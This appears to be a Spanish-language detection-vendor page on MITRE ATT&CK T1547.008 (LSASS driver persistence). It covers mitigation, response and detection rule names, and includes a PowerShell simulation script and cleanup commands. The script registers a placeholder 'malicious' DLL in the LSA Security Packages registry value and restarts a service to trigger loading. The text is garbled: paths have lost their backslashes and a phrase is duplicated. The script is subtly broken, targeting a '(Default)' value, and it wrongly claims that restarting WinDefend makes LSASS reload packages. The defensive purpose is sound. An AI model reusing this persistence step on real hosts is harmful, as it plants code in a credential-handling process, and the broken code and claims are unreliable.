Explicación del Controlador LSASS T1547.008 en MITRE ATT&CK
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
El artículo explica la sub-técnica de persistencia del controlador LSASS, T1547.008, que los actores de amenazas utilizan para obtener una ejecución duradera y de alto privilegio en sistemas Windows abusando de cómo LSASS carga componentes relacionados con la seguridad.
Investigación
Los atacantes generalmente comienzan obteniendo privilegios de SISTEMA, luego colocan una DLL o controlador malicioso en el host objetivo y alteran claves del registro dentro de la configuración de LSA para que LSASS cargue el componente con puerta trasera durante el arranque. En algunos casos, se puede extender el mismo enfoque para abusar de los puntos de extensión del servicio del controlador de dominio.
Mitigación
Los defensores deben vigilar los cambios de registro que afecten las claves de LSA, exigir firma de código estricta para controladores y DLLs, restringir los permisos de escritura en las rutas de registro relevantes y aplicar monitoreo de integridad a los componentes cargados por el proceso LSASS.
Respuesta
Si se detectan cambios de registro sospechosos o cargas inesperadas de controladores en lsass.exe , aísle el host, capture la memoria LSASS para un análisis centrado en credenciales y restaure los valores de registro modificados a un estado conocido como bueno mientras investiga el proceso padre responsable.
Flujo de Ataque
Todavía estamos actualizando esta parte. Regístrese para recibir notificaciones
NotifícameDetecciones
Posible Volcado de Credenciales Usando Gancho MSv1_0!SpAcceptCredentials (via registro_evento)
Ver
Posible Carga de DLL a través de LSASS para Persistencia o Ejecución de Código (via registro_evento)
Ver
Agregar Biblioteca Sospechosa a los Proveedores de Soporte de Seguridad [SSP] (via registro_evento)
Ver
IOCs (Correos) para detectar: T1547.008 Controlador LSASS en MITRE ATT&CK Explicado
Ver
Detectar Ejecución Persistente a través de Modificación de Controlador LSASS [Evento de Registro de Windows]
Ver
Ejecución de Simulación
Requisito previo: El Chequeo Previo de Telemetría y Línea Base debe haber pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntan a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa de Ataque y Comandos:
- Preparación – dejar caer DLL maliciosa – El adversario crea una DLL (
maliciousLSASS.dll) que, cuando es cargada por LSASS, extrae hashes de credenciales y los escribe en%TEMP%. La DLL está puesta en el puesto de trabajo de la víctima. - Persistencia mediante Modificación de Registro – Usando
reg.exe, el atacante añade la ruta completa de la DLL maliciosa a lamulti‑cadena de valor de Security Packages, que LSASS lee durante el inicio del servicio.multi‑cadena que LSASS lee durante el inicio del servicio. - Disparador – El atacante obliga a LSASS a recargar los paquetes reiniciando el
LSASSservicio (requiere un reinicio del sistema; para la prueba simulamos deteniendo y comenzando elWinDefendservicio lo que obliga a LSASS a recargar la lista de paquetes de seguridad).
- Preparación – dejar caer DLL maliciosa – El adversario crea una DLL (
-
Script de Prueba de Regresión:
# ------------------------------------------------- # Simula la persistencia del controlador LSASS (T1547.008) # ------------------------------------------------- $rutaDll = "$env:USERPROFILEEscritoriomaliciousLSASS.dll" # Asegurar que un archivo DLL de prueba exista (marcador vacío para prueba) if (-not (Test-Path $rutaDll)) { New-Item -Path $rutaDll -ItemType File -Force | Out-Null } # Respaldar valor original $rutaReg = 'HKLM:SYSTEMCurrentControlSetControlLsaSecurity Packages' $original = (Get-ItemProperty -Path $rutaReg -Name '(Default)' -ErrorAction SilentlyContinue).'(Default)' # Añadir ruta DLL maliciosa $nuevoValor = @() if ($original) { $nuevoValor = $original -split "`0" } $nuevoValor += $rutaDll Set-ItemProperty -Path $rutaReg -Name '(Default)' -Value $nuevoValor -Force Write-Host "[+] Modificado valor de registro de Security Packages para incluir DLL maliciosa." # Opcional: Forzar a LSASS a recargar paquetes sin reinicio (reiniciar servicio dependiente) Restart-Service -Name WinDefend -Force -ErrorAction SilentlyContinue Write-Host "[+] Reinicio de servicio solicitado para provocar recarga de LSASS." # Pausar para permitir que se recojan los registros Start-Sleep -Seconds 10 # Restaurar valor original (paso de limpieza ejecutado por separado) -
Comandos de Limpieza:
# ------------------------------------------------- # Limpieza después de la simulación # ------------------------------------------------- $rutaReg = 'HKLM:SYSTEMCurrentControlSetControlLsaSecurity Packages' # Restaurar el valor de multi-cadena original capturado anteriormente (si lo hubiera) if ($original) { Set-ItemProperty -Path $rutaReg -Name '(Default)' -Value $original -Force } else { # Eliminar completamente el valor si estaba originalmente vacío Remove-ItemProperty -Path $rutaReg -Name '(Default)' -Force -ErrorAction SilentlyContinue } Write-Host "[+] Valor de registro original de Security Packages restaurado." # Eliminar la DLL temporal Remove-Item -Path "$env:USERPROFILEEscritoriomaliciousLSASS.dll" -Force -ErrorAction SilentlyContinue Write-Host "[+] DLL temporal maliciosa eliminada." # Opcional: Reiniciar el host para restablecer completamente el estado de LSASS (no requerido para la prueba) # Restart-Computer -Force